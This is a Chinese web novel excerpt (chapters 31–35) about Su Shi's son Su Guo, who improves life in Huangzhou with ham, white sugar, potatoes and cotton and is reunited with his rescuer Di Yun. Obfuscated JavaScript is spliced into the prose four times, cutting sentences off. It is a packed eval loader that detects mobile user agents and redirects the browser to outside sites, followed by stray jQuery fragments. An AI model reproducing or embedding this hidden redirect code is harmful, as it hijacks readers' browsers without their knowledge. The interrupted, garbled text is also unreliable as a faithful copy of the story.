“这火腿也省着点送吧，咱们自己多留一些。”老苏一下子get到了火腿的好，“等明年春笋出来，配这个火腿烧汤，一定很鲜。” 老苏是真的名副其实老饕，爱吃，也会吃。 这不就是江南名菜腌笃鲜。 等来年开春，肯定是要做一做的。 “大不了明年再买些肉做就好了，又没人规定只有年前才能做腊肠火腿。” 苏过劝他爹，省肯定是省不出来的。 这么多好友，一人一点就消耗大半呢。 吃完饭苏过就催着他爹去写信。 趁着现在天气冷，早点把信和腊肠火腿寄出去，尤其是隔得比较远的那些朋友，路上保鲜也不用担心，说不定还能赶在年前送到，做个新年菜色。 苏轼一想，的确如此，于是伴着满嘴鲜味去给好友们写信。 信上满满又是吃到好吃的喜悦。 还让苏过提供了火腿的做法，务必要让好友们吃到最好吃的版本。 还有那腊肠，吃法简单，但一样美味，而且还是他亲手做的，更显情深意重。 老苏文思泉涌，下笔飞快。 看着亲爹仿佛溢出香气的信，苏过好心提醒，“章伯伯那边，你记得把咱们新一期期刊发给他，不然又要说你只知道吃了。” “放心，记着呢。”苏轼也被章惇说怕了，每次正事也都汇报的很积极。 又是临近年底。他们刚发了新的一期期刊。 最后一波红薯收成完毕。黄州人民今年是真的可以过一个肥年。 一头头肥壮的猪，仓库里堆着的粮食，还有甜甜的红薯。 虽说往年大家也很安居乐业，但勉强温饱和小康的差距他们还是很能感觉出来的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543084|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这期的内容上，苏轼和徐知州在苏过建议下，特地出了一份总结版。 将今年黄州各项收获数据都总结出来，直观让大家感受到产量的变化。 还采访了几位最早采用新种植方法和新种子的农人。 丰收的喜悦几乎扑出纸张。 很能鼓舞其他人明年继续全力投入。 而版面上自然少不了苏大大的新作以及新海报。 应大众要求，这次是手拿纸笔的文曲星版本，还特地加印了许多，方便小吏们宣讲时可以分发一些。 大家可都等着当年画呢。 而这次的刊末更是放出了拔丝地瓜的做法，一年到头，总要甜甜嘴。 苏家的腊肠与火腿，伴着一封封的信寄往各地。 除了苏轼的一众亲朋好友，苏过还不忘给文彦博和李肃之也寄了一些。 毕竟也是写过信的，都是熟人，不能厚此薄彼。 这次倒也迅速，章惇收到信和腊肠的时间竟还比宫中收到期刊要早。 也算是先一步看到老苏的工作总结了。 至于那些食谱啊什么的，章大佬自然是跟腊肠火腿一起，交给家人安排，也不用等过年，这两日就可以做一份出来尝一尝。 毕竟写信讨论美食是不可能讨论的，但尝一尝是绝对要的。 都怪老苏信里写的那么美味。 宫中也收到了最新一期的《黄州期刊》。 去年此时，这本刊物在朝堂引发了许多争议，最后结论是等各项政策实施后再行推广与嘉奖。 如今经过一年的实施，黄州交上了一份满意的答卷，无需他们请功，淮南转运使就自动上报了。 然而此时朝堂却无心关注黄州的事情。 神宗正在为对西夏作战的失败而愤怒。 本来绝佳的时机，结果因为种种人祸而行军不顺，甚至可以说是损失惨重。 神宗十分不甘心。决定采用“筑城迫城，移寨攻寨”的策略。 在关键位置修筑堡垒，步步为营，压缩西夏战略空间，在新的一年，发起最终决战。 现在正让种谔和鄜延路经略安抚使沈括研究对西夏的作战策略呢。 没错，就是写《梦溪笔谈》的那个沈括。 反正就是操心的事儿太多，官家还顾不上黄州这边。 但他还记得自己答应过做出成果了要给赏赐来着。 于是下旨一封，小小赏赐了一下黄州大小官员。 然后取消了之前对苏轼“不得签书公事”的限制。 就是之前老苏在黄州，其实一直是打白工来着，工资不是正经领的，也理论上不参与任何政务，属于被看押的犯官。 是徐知州十分有魄力，又爱惜人才，才让老苏一直做事。 现在官家下了旨，老苏就算“转正”了，以后每月四千多钱的工资可以直接领，干活儿也名正言顺（怎么听起来有点更惨了）。 收到旨意，老苏意思意思谢了恩就内心毫无波动。 毕竟这点俸禄还不如找妻子要点零花钱。 还有干活，不能名正言顺干活都干了这么多了。 能名正言顺干活，还不知道有多少事情等着呢。 太累了太累了，先休个假吧。 又到一年春假。 而苏过，经过一年的积攒，终于又解锁了系统的下个等级。 32. 第 32 章 系统每个等级的升级都需要消耗大量满意值，几乎是指数级增长。 上次解锁红薯后，一看下个等级需要的数值，苏过就直接摆烂了。 几乎不怎么继续关注，而且由于太难达到，反而时不时兑换个快乐水爆米花消耗消耗，主打一个随意。 但不得不说有两家火锅店与奶茶店的稳定收入，数值还是一直涨的很不错的。 而且苏过发现自己通过《黄州小刊》刊登出去的食谱竟然也带来了不小的收益。 受此启发，苏过给在广西的王子宽写了封信，附上许多适合用白糖做的点心食谱。 等白糖对外售卖宣传时，正好加一助力。 而他，也可以顺势获得更多满意值。 广西甘蔗成熟期比较长，可以从每年十月一直收获到来年三月。 苏过的信寄到时，王子宽与王巩的第一批白糖正好做出来。 不得不说，毕竟来自经商世家，王子宽的才干十分出众。 到广西后，一应事宜安排的井井有条，又有王巩在一旁协助。 糖厂很快就建了起来，而且因为方法容易被人偷学，厂里负责关键步骤的，雇的都是签了契约的仆人。 因此白糖生产的十分顺利，就等运出去推广了。 王巩在宾州做的是监盐酒税，跟苏三叔职务一样。 每天事务也很繁琐。 他出身官宦世家，妻子也是名门之后，京中还有生意，生活上倒是不困顿。 但在宾州这种地方，工作辛苦，还有瘴气，哪怕王巩生性豁达，也还是逐渐生了病。 古时这些人，每逢生病虽然也会看医生，更多的还会找许多偏方。 苏轼之前给儿子看病就各种佛医道医看了个遍，听说王巩病了，还结合自己的几分医学知识，建议他用“摩脚心法”对付瘴气。还要每日饮少酒，调节饮食，养胃强身。 王巩自己也没闲着，在宾州研究道家长生之术，还安利给老苏来着。 说自己在宾州修行，很有所得。 老苏听了果然很感兴趣，还找王巩给他代购广西朱砂。 苏过看到的时候都惊呆了，生怕老苏或者谁一时兴起开始研究丹药。 要真那样，他就得祭出著名的泥鳅大法，让这些啥都敢学的文人们见识见识朱砂的危害了。 幸好老苏只是拿来研究了一番，就用来作画了，并没有炼丹的念头。 而苏过也赶紧让二哥还有辩才法师跟宇文柔奴多交流些应对瘴气的方法还有日常养生良方。 重点是朱砂等重金属的危害。 也不知是王巩本来就无此意还是宇文柔奴的提醒。 倒没有再听说他修炼什么长生，而身体也在宇文柔奴的调理下越来越好。 等开始投入白糖生意后，更是觉得大有可为，每天精神饱满投入工作和副业中。 他也是个高产作家，在宾州每年都要写百来首诗文。 见到白糖后，无需苏家兄弟带头，他就已经写了数十首诗赞美。 可以说白糖还没下生产线，就已经在广西打出了名气。 第一批生产出来后，不用运输，在当地就直接开始销售了。 不过白糖走的高端路线，在广西销量有限，大头的，还是要运到汴京与江南一代。 随着苏过食谱一起到来的，还有苏轼的诗文以及各地好友圈开始造势的消息。 很适合趁着过年，将此物宣传出去。 王子宽摩拳擦掌带着一大批白糖，准备去铺往各地。 苏过解锁系统下一级后，打开商城一看。 果然等待很值得，这一次，竟然直接解锁出了土豆。 这可是土豆啊，苏过已经在心里琢磨出好多种土豆的吃法了。 而同时解锁的，还有另一种植物，棉花。 苏过本来以为棉花是一直有的作物，结果到这边经历了两个冬天，才发现这时的保暖与想象中差别甚大。 有钱人自然是保暖手段丰富，各种各样的皮草，填充蚕丝的锦袄，甚至还有羽绒服。 出门更是马车手炉不断，家里一般也会安装有火墙。 而穷人在冬天就难熬了，普通百姓只能穿粗糙的麻布衣服，里面多是填充柳絮、芦花等物勉强保暖。 甚至在北宋还流行一种叫“纸裘”的纸制衣物来勉强御寒。 再加上此时的寒潮天气，冬天冻死人也是常有的事。 去年苏家修了火炕，发现十分实用。 在《黄州小刊》上进行了推广。 民间也出现了许多盘炕师傅，专门帮人盘炕，十分具有性价比。 百姓家中也不追求什么好看，每家盘一个大通铺，白天可以坐上面干活，晚上挤一挤睡也暖和。 毕竟，柴火什么也是十分有限的。 棉花此时在内地还是比较新鲜的事物。 这会儿主要是亚洲棉和非洲棉两个品种，前者目前在海南岛与云南一带有所种植。而后者则经中亚传入新疆，也就是现在的回鹘。 都还大部分不属于北宋领土呢。 不过好歹都和大宋接壤，之间时有往来，倒是方便苏过为棉花的出现找一个合理的理由。 今年是穿不上棉衣了，希望明年冬天能盖上厚厚的棉被。 苏过直接将土豆与棉花来源都挂到了路过的回鹘商人头上。 毕竟回鹘靠着中亚甚至还有欧洲往来，有些新东西也不稀奇。 经过红薯这种根茎作物的引导，老苏等人对一种新的据说非常高产又好种的根茎植物十分好奇。 苏过用一份土豆炖牛肉彻底征服了苏轼的胃。 “种，明年就种上！”老苏立下志愿，一边心疼被吃掉的可以做种的土豆，一边臣服于美味，大口大口的往嘴里塞。 而另一边的白糖生意也取得了巨大的成功。 不得不说文人总是容易被一些表象所迷惑。 当以苏大大为首的宣发代言人们将白糖的洁白与梅兰竹菊等并论高洁后。 这种糖就成了一种身份象征，迅速受到追捧。 更何况它本身就口感细腻，食之清甜。 还有苏过各种点心食谱加持。 临近年节，哪个高门大户里招待客人要是没上一盘白糖糕，都显示不出重视。 王子宽亲自跑江南地区营销。 毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16548251|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江浙一带多富庶，大家很舍得为甜品花钱呢。 至于汴京嘛，有钱人也很多，汴京人民也爱甜食。 但毕竟多了个皇家在那儿，今年又因为与西夏的战事听说整个朝廷氛围都不好。 王子宽才不去凑这个霉头。 不得不说，无论是商业头脑还是政治嗅觉都很优秀。 忙着做生意的王家侄子是没办法好好回家过年了。 但苏家还是一如既往热闹的在准备新年。 上次做烤肠时，老苏回忆了好久家乡的美食，还拒不承认苏过做的水煮鱼等属于川菜。 苏过想了下，决定今年做一版纯正的川味年夜饭。 其实四川不同地区的年夜饭差别很大。 比如，川南地区口味偏甜酸，而川东则擅长咸鲜，颜色深味道浓，还有川西地区，年夜饭时常会用一道以蛋清、蛋黄、精瘦肉末为主料，通过分层镶嵌、多次蒸制的工艺制成的“镶碗”作为重头戏。 老苏等人的老家眉山也有许多当地特色菜。 要苏过来说，他最欣赏的，其实还是一直流传下来的坝坝席九大碗。 软炸蒸肉、清蒸排骨、粉蒸牛肉、蒸甲鱼、蒸浑鸡、蒸浑鸭、蒸肘子、夹沙肉、咸烧白。 虽然大部分都是蒸菜，但甜咸兼具，鸡鸭鱼肉一样不缺，还十分好吃。 但既然是为了给老苏他们追忆乡味。 苏过还是决定重新规划菜谱，博览众长又加入一些眉山特色。 夹沙肉和咸烧白自然要保留。 苏过一向不爱吃肥肉，但这两碗菜的肥肉是无论如何都无法拒绝。 用红薯做底，裹上白糖蒸制的夹沙肉，入口即化，甜而不腻。 幸好之前苏过有腌制一些梅干菜，不然还不好做咸烧白。 而鱼和鸡鸭自然必不可少。 虽然老苏拒不承认水煮鱼属于川菜，但他又十分爱吃，年夜饭还是继续加上了。 鸭肉则被苏过做成了甜皮鸭，选肉质鲜嫩的土鸭，经过腌渍与卤煮，再淋滚油、刷冰糖或饴糖制成，最后的成品色泽红亮，口感咸甜适中，皮脆肉嫩，十分美味。 这道菜在清朝的时候还是御膳来着。 再用火腿炖上鸡汤，又做了辣子鸡、麻婆豆腐等菜，连饭后甜品都是酒酿圆子。 如果还在蜀地的话，说不定还能找到石花籽，也就是现代的冰粉籽，用来做冰粉是再好不过了。 不过现在是冬天，苏过对冰粉暂时还没什么执念。 一顿年夜饭耗费了苏过大量精力，几乎从早忙到晚。 如此大费周章，自然赢得了全家惊叹。 苏轼更是当场作诗忆眉山。 众人听的还有点小伤感。 不过很快，大家的注意力就被美食吸引了。 这么多好吃的，先吃哪一道呢。 远在北京的晁无咎与秦观也正在吃年夜饭。 对比之下，两人的菜色就十分简单了。 不过幸好有苏过之前寄来的腊肠与火腿，倒也做出了还算丰盛的一桌。 而这一顿也算他们的道别饭，年后，秦观便要准备启程返乡，再次参加乡试了。 33. 第 33 章 秦观的科举之路也挺不顺的。 他在诗词上十分擅长，佳作频频，苏轼之前读过他作品后甚至夸他有屈原之才。 可惜生不逢时。 自王安石新政后，当朝科举便废除了诗词歌赋的考核，改为对儒家经典大义的阐述，以及策论等实用文体。 秦观一下子少了一门特长，别的虽也不差，但总是少了那么一点运气。 之前来汴京探望苏轼时，秦观就刚结束了考试，那一场没中来着。 如今已经快三年，又到新的一届科举，秦观准备再试试。 毕竟五十少进士，他还年轻，多考几场也正常。 元宵一过，秦观便准备启程南下，到扬州和堂弟们一起复习应试。 “路上渐暖，食物保存不易，腊肠你还是少带一点好了。” 秦观正在准备行李，特意带了许多腊肠，毕竟稍微热一热就能下饭，美味还便捷。 晁无咎见他一副担心路上吃不好的样子，假意开口阻拦。 知道好友是不舍离别，秦观也不拆穿他，“北方天冷，路上还需些时日，带的还不够呢。” 晁无咎听罢也觉得有理，又往他行李里面添了些。 之前苏过给两人都寄了许多腊肠火腿。 而且给文彦博寄的那份也送到了此处，但文公已经月前就前往洛阳就职了。 他们只好将信转寄，而食物存在保质期问题，就只能先留下了，目前库存还算丰富。 无论如何不舍，好友还是离开了。 毕竟，科举对几乎所有人来说，都是大事。 就连苏过也深受其苦。 两年前老苏就开始教苏过破题，本质也就是简单的背诵与阅读理解。 对苏过来说十分轻松，游刃有余。 结果不久苏轼发现儿子竟然摸鱼后就加大了难度，直接让苏过开始写文章。 用老苏的话说就是，“过哥儿尚且年幼，不求辞藻华丽，鞭辟入里，但求言之有物，行文流畅。” 你也知道尚且年幼呢！ 苏过在心里吐槽，哪怕到现在，苏过也才不到十岁来着。 按九年业务教育，他还是个小学生呢。 让一个小学生开始写高考作文，这合理么。 更何况老苏向来是集北宋文人习惯于大成者。 简而言之，就是要琴棋书画样样精通，诗词歌赋种种不落，佛学道学医学都可涉猎。 主打一个全才，通才，多面手。 于是在写文章之余，还让苏过开始研习书画，每天光大字都要练十来篇。 “爹，你这也太拔苗助长了，咱们要劳逸结合，保证我拥有完整的童年！”苏过向老苏抗议。 苏二哥要跟辩才法师学医，而且眼看着学有所成。 于是普通科举内容两人是一样的学，其它辅导班老苏就可着苏过一个人盯了。 “你爹我和你三叔像你这么大年纪的时候，已经学有所成了。”苏轼盯着苏过摇摇头。 成天各种折腾吃喝玩乐，还说没有完整童年，真是太放纵了。 苏过一下子看懂了老苏眼神。 “以为谁都像你一样呢。”苏过吐槽。 多少年了，也就出了这么一个苏东坡来着。 他可不敢与老爹这种文化巨人比肩。 不过他也不敢太过反驳。 毕竟，哪位父亲不想有个麒麟儿呢。 且再等等，冬闲马上就要过去，等开春后老苏就要忙起来，无暇成天盯着他了。 转眼便到立春。 宋朝向来重视各个节日，立春作为二十四节气的开头，预示着一年农事活动的开始，官府和民间都十分重视。 宋朝立春向来有“打春牛”的风俗。 在汴京，开封府要用泥土做好一头大春牛送入皇宫，由官家亲临，派人鞭打，视为“鞭春”，作为农桑的开始。 不止皇宫内，各地官府也会制作春牛放在府衙前举行“鞭春”仪式，仪式结束后，大家还会一拥而上，争抢打碎的土块，据说这种土放在家里，可以保佑养蚕兴旺、五谷丰登，甚至能治病。 这种说法苏过自然是不相信的，但不得不说，围观风俗，尤其是这种几千年前的风俗，是一件十分有意思的事情。 往年苏过没有注意到这个节庆，但如今黄州农业发展一片欣欣向荣，大家对于丰收的热情尤其高涨，官府也有心情举办各种活动。 两者叠加下，今年的“鞭春”仪式简直热闹极了，整个大街上挤满了人。 除了要抢土外，大家还等着官府赠送的“小春牛”呢。 今年黄州府衙定做了一批十分精致的小春牛准备作为好彩头送给百姓。 当然，数量有限，先到先得。 许多人都在府衙外等着第一个抢到官府赠送的小春牛。 虽说今日市集上也有许多小春牛售卖。 但花钱的哪有免费的香。 而且据说这次的春牛，东坡居士会亲手发放呢。 这就不是简单的节庆活动了，这可是见面会！ 于是黄州府衙前越发拥挤。 苏过本来是和苏二哥一起出来，想来围观下节庆仪式，顺便支持亲爹工作的。 结果硬是被人群挤的完全无法靠近核心圈。 尤其是“鞭春”结束后，许多人一拥而上去抢春土，一下子挤的苏过和苏二哥几乎站立不稳，就要摔倒在地。 这可不是小事，这种人挤人的活动，要是一旦摔倒形成踩踏，重伤甚至闹出人命都有可能。 即将摔倒时，即使自认沉稳如苏过，也慌了一瞬。 然后就被一双十分有力的手扶住了。 苏过站稳后往旁边一看，却见到一个完全意料之外的人，“小恩公！” 之前在汴京时，也是他和苏二哥一起出门，遇到闹市惊马，差点被马撞到。 就是这位小恩公，一拳打翻受惊的马，将他们救下的。 后来他还拜托李掌柜帮忙打听来着，可惜一直没找到人，连谢礼都只能放在第一次见面的馄饨摊处托人帮忙转交，都不知收到没。 没想到竟然在黄州再次见到小恩公，还又被救了一次。 苏过简直惊喜极了。 拉着对方的手就要欢呼起来。 “此处危险，到别处再说。” 对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552853|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方眼里闪过一丝不自在，拨开苏过的手，转为隔着衣服拉他的胳膊，带着苏过和苏二哥两人离开人群，到旁边一个稍空的地方。 苏二哥也看到了恩人，两人都十分激动，你一言我一语的问个不停。 “恩公怎么会在黄州？” “恩公你一个人来的么？” “恩公现在住在何处呀？” 对面听的十分头疼，“停，先不要叫恩公了，我姓狄，叫狄云，你们叫我名字就好。” 苏过两人从善如流改口，“狄兄弟你还没回答我们呢，怎么会来黄州的。” 狄云无法，只得回应，自己是南下探亲，途径黄州，结果与家仆走散了，看到官府刚好有热闹活动，就来看一看，没想到刚好碰到两人又差点遇险。 “这就是缘分，狄兄弟你注定是我们的贵人了。”苏过感慨。 “那你可有找到家仆？”苏二哥问道。 狄云略显迟疑，摇了摇头，“未曾，这两天在城里都没看到。” 苏过听了忙道，“那你这两天岂不是一个人住，太危险啦。” 毕竟狄云看着比他还小的样子，这样一个小孩儿，在一个陌生的地方自己住，想想就危险。 “还好，应该也没什么危险能威胁到我。”狄云倒是不太在意的样子。 苏过一下子想到几年前他就能一拳打翻一匹马，如今又长大几岁，想必神力是更进一步了。 但这是两码事， “明枪易躲，暗箭难防，江湖上手段多着呢，还是要小心一些。不如狄兄弟你到我们家里住吧。” 苏过劝道。 毕竟再有神力也只是个小孩，一个人在外面就是很危险。 而且讲真，狄兄弟真的长得太漂亮了。 三年前还是一个漂亮小孩，如今已经有几分雌雄莫辨的美感。 这样一副样子，没有大人陪着，苏过真是越想越危险。 于是苦口婆心开始劝恩公，毕竟他一个小孩目前也不好自己走，要找家仆的话，住他家正好让府衙的人一起帮忙留意下。 狄云本来不想答应，但苏过唠唠叨叨一下子列出好多条无法反驳的理由，狄云无法，只得点头应下。 “太好了，”苏过高兴起来，“今日立春，正好回去咱们做春盘吃。” 苏二哥也很高兴。找人到府衙跟老苏说一声，三人相偕回了苏家。 王氏见儿子们带回来一个漂亮小男孩，又听说这是几年前在汴京救了他们的人。 本就见了长相三分的喜爱，一下子变成了十分。 “真是太可怜了，怎么就和家仆走散了呢。”王氏拉着狄云的手，漂亮孩子的手果然都不太一样，跟两个儿子相比，狄云的手秀气柔软了许多。 “安心在这里住下吧，我们找人一起帮你找家仆。”王氏让贴身丫鬟去收拾房间。 狄云略显拘谨应下。 “娘，我带狄兄弟去做春盘。”苏过见狄云在王氏面前不太自在，忙拉了他到厨房。 于是狄云便见苏过在厨房像只勤劳的小蜜蜂一样东弄弄西弄弄，然后端出来一个巨大无比的春盘，红绿搭配，配有薄饼，看起来十分好看而且美味。 34. 第 34 章 立春吃春盘是十分传统的一个习俗了，从魏晋时代就开始流行。 不过那会儿都是“五辛盘”，装的是大蒜、小蒜、韭菜、芸薹（油菜）、胡荽（香菜）等五种辛味蔬菜。 古人认为辛辣之气可激发五脏活力，祛病消灾。 到宋代，食材范围就大大扩展了，包括萝卜、蒌蒿、韭菜、韭黄、芹芽、青蒿等时令蔬菜。 而且讲究一个红绿搭配，色彩十分鲜艳。 除了基础的生鲜蔬菜丝，春盘里通常还会放上炸制的果子、油饼等，堆成“金字塔”形状。 总之，搭配由人，十分个性化。 宫里面官家还会给王公大臣，后宫嫔妃们赐下春盘呢。 不过那个春盘就不只各种蔬菜了，会放上金箔、玉片或贵重材质制成的鸡与燕子等造型装饰品，一盘就值数万钱。 这种高端春盘是无缘得见了。 但苏过自认为自己的美食春盘在某种意义上也是丝毫不输的。 巨大的春盘被分为好几块区域，基础的蔬菜都被苏过做成了沙拉，再配上腌制的红萝卜，红彤彤的冰糖葫芦，红油辣椒拌上的牛肉片。 甚至还有许多别的果子，拼成了一个大春盘。 红绿搭配十分好看。 古人讲五辛，苏过折腾的是酸甜苦辣咸，五味俱全。 让人将另外几个春盘送去其他人处。 苏过拉着狄云去找苏二哥，准备单独分享一个春盘，顺便几人好好叙叙旧。 “之前我让卖馄饨的老婆婆转交酱料给你，狄兄弟你有收到么？”苏过突然想起来。 “收到了，味道很不错。”狄云夹起一颗冰糖葫芦，他还是第一次见到这种样子的果子。 迟疑的咬下去，脆脆的糖皮里面是酸酸的山楂。 这批山楂已经存储了一段时间，并不十分酸，但依然很好的中和了甜味，让第一次吃到的狄云很是惊喜。 “这个是什么？” 见他吃的开心，苏过身为厨师自然十分满足。“这是冰糖葫芦，你再试试这个麻辣牛肉。” 将春盘里的东西都尝过一遍，沙拉的味道狄云有点不习惯，但是酸甜的冰糖葫芦以及麻辣牛肉完全征服了他的胃。 从来没有吃过辣椒的他，第一口吃下去几乎被辣出了眼泪。 但紧接着就是一股暖意和过瘾的感觉涌上来，在还带着些寒风的时节里十分舒适。 见他能吃辣，苏过十分开心，那他后面就可以继续做很多川味美食了，狄兄弟肯定也会很喜欢。 老苏回家后，对苏过两兄弟提前走掉的行为表示谴责。 本来说好一起发放春牛的，尤其是这个什么抽奖活动本来就是苏过提议。 结果两人竟然不见人影，老苏今天可是彻彻底底淹没在黄州人民的热情中，抽到春牛的想和他聊几句，没抽到春牛的也想跟他说说话沾沾喜气，也幸好现在没有握手的习惯，不然估计都会要求跟老苏握手了。那可真是变成见面会了。 不过今天的场面也不遑多让。等结束时，老苏已经嗓子哑的说不出话来。 苏过连忙为老爹泡上蜂蜜水润喉，然后解释了自己今天重逢恩公的惊喜。 听说还有这么一回事，老苏也很好奇，等见到狄云，更是对这个漂亮孩子很有好感。 于是立马应下来说会让府衙里的人一起留意着帮忙找家仆。 狄云拱手道谢，在苏家住下。 苏家人都很喜欢这个小孩，且不说狄云曾经救过苏家两兄弟，就算没这回事，光凭长相就能收获一堆叔叔阿姨的喜欢了。 就连家里最小的箪哥儿都很喜欢他，成天来找狄云玩，还“姐姐”“姐姐”叫个不停。 苏过以为箪哥儿是因为狄云长的太漂亮才错认为姐姐，解释了好多遍，偏偏箪哥儿就是坚持不肯改。 狄云除了一开始别扭了一下，倒是接受良好，让不要跟小孩儿计较，随便叫。 苏过也就不管了，开始热衷于琢磨恩公口味做各种美食。 不过还有另一件事需要苏过操心。 之前好不容易系统升级，解锁出来了棉花和土豆种子。 苏轼很快被土豆征服，已经在安排接下来的土豆试种。 但棉花竟然觉得用处不大，没有怎么安排推广。 毕竟这么一个东西，又不能吃，产量几何，实际保暖效果如何都还没有验证，实在排不上优先级。 如果真跟皮毛一个稀有等级，那于民生作用也不大。 这苏过可不同意了。 老苏没体验过不知道，他可是知道的呀。 皮草虽好，但穿起来可不一定有棉衣轻薄保暖。 后世各种蚕丝被鸭绒被盛行，但一床厚实的棉被有多舒服是许多人都体验过的。 再加上据他观察，系统出品的种子都是优中选优，产量与品质都没得说。 而且虽然棉花最出名的产地是新疆，内地也是许多地方都有种植的。 黄州在后世可是湖北省传统的棉花主产区之一，各种条件都适宜。 这么天时地利的事情，就差人和了，怎么能掉链子。 于是苏过左思右想，决定给老苏来一点深度体验。 苏家去年底在后院外修了一个亭子，本是苏轼准备用来和好友们观江吟诗的地方。 结果修好后没多久就入冬了，寒风阵阵，老苏去体验了几次就被冷风吹回了家中暖炕上，亭子闲置至今。 这天，天气晴朗，但依旧冷风阵阵。 苏过一大早就来找苏轼，送上了一件新衣服让老苏换上，然后说要一起去亭子那边，有惊喜。 对于儿子，苏轼向来十分信任。 虽然想到屋外的冷风就不太想出门，但为了惊喜，还是去看一下吧。 换上送来的新衣衫，十分轻便柔软。 一出门就吹来一阵寒风，苏轼的脸和耳朵都感受到了十分的冷意，身上倒意外的暖和，让他很是惊奇。 待到了凉亭，里面的装饰布局和之前已经十分不一样。 凳子上都铺了软垫，坐着十分舒服。 而苏轼特意放置的躺椅上也被铺上了一层垫子，旁边还放着一床看起来很类似的小被子。 邀请老苏坐下，将小被子盖在腿上。苏过拿出烤红薯和炒栗子邀请老苏一起吃。 “这就是你说的惊喜？”苏轼一边吃红薯一边问儿子。 苏过安抚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16557922|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住亲爹，“你先感受下，坐在这里还冷么。” 苏轼认真体会了下，还真的很暖和。 去年亭子建成时是才刚入冬，还没有现在冷。 老苏邀请好友来亭子里玩过几次，回回没待多久就都被冻的打喷嚏，只得继续回房间。 今天在亭子里待了这么久，竟然还是全身暖洋洋的，十分保暖。 “难道这些都是你之前拿出来的棉花做的？”苏轼转念一想，就想起了儿子曾经拿给他看说十分保暖的棉花。 当时他经过各种考量，决定先不安排推广来着，毕竟黄州耕地有限。 苏过点点头，拿出处理好的棉花给亲爹看。 纯白蓬松的棉花如雪一般，摸着十分舒服。 据苏过说，他穿在身上和盖着的被子里面填充的就是这种棉花，柔软而且保暖。 这点老苏已经亲身体验过了。 至于老苏担心的耕地问题。黄州其实有大片河流冲刷而成的平原，地势平坦，土壤肥沃，十分易于耕作。 只是之前担心洪涝又疏于开垦，并没有充分利用罢了。 经过这两年老苏的努力，大家修堤坝、屯田、开荒。 黄州的耕地已经增加许多并且持续增长。再加上红薯和正在试种的土豆，粮食上面肯定不会再短缺，很适合多发展一种经济作物。 棉花经过简单处理就能直接使用，于保暖上十分方便。 等后面苏过抽空把纺织机什么的弄出来，甚至可以做棉布。 那可就是一个大发展了。 毕竟宋末时，黄道婆从海南学会了纺织，带回松江，可是将长江流域一带发展成了棉纺织业的大本营，经济效应巨大。 咱们现在也可以将这个时间线提前而且换个地方嘛。 纺布什么的暂时没有可以展示的成品，放下不提。 棉花的保暖作用可是实打实的，老苏也亲自体验到了。 听苏过讲完他听说的棉花产量与种植环境，苏轼也发现了里面的大有可为之处。 别的不说，若能有这么一床棉被和棉衣，黄州冬天冻死的人就能少上许多。 想到这个场景，看着亭中布置与手中雪花一般的棉花。 苏轼答应下来，“今年就安排把棉花种上。” 苏过十分开心，然后又听见老苏说，“这里的安排也好极了，最近就可以邀请好友来赏景，这都要归功于棉花。” 他沉吟片刻，“此物似雪，此亭就叫‘雪亭’吧，希望来年棉花能让黄州百姓不惧严寒，屋内似雪停。” 苏过连连点头，老苏果然境界不一般。 不过这个名字好像有点耳熟。 老苏好像本来应该有个“东坡雪堂”的，那个老苏亲手辛苦建成，作为休憩之所的地方，还写下了“小屋如渔舟，濛濛水云里......君门深九重，坟墓在万里”的诗句。 如今雪堂换雪亭，老苏也没再经历饥寒困顿，于风雨飘摇中惶恐不安，泣泪成诗。 反而心系百姓，于亭中写下新诗，满满都是对“大庇天下寒士俱欢颜”的信心与期许。 看着这样积极的老苏，苏过突然觉得有东西，比棉花更加暖了他的心脏和眼眶。 35. 第 35 章 苏轼是一个兼具浪漫主义与现实主义的人。 在充分了解棉花的作用并且自我补齐了许多愿景后就开始投入到实施中去。 虽然平时吐槽事情多，总想摸鱼，但老苏可是很靠谱的人。 不就是加一样工作么，拿捏。 这般忙忙碌碌就到了寒食节。 北宋寒食节与清明基本已经合二为一，而且高度受重视，作为与元旦、冬至并列的“三大节”之一，朝廷放假七天，可以说是另一个黄金周。 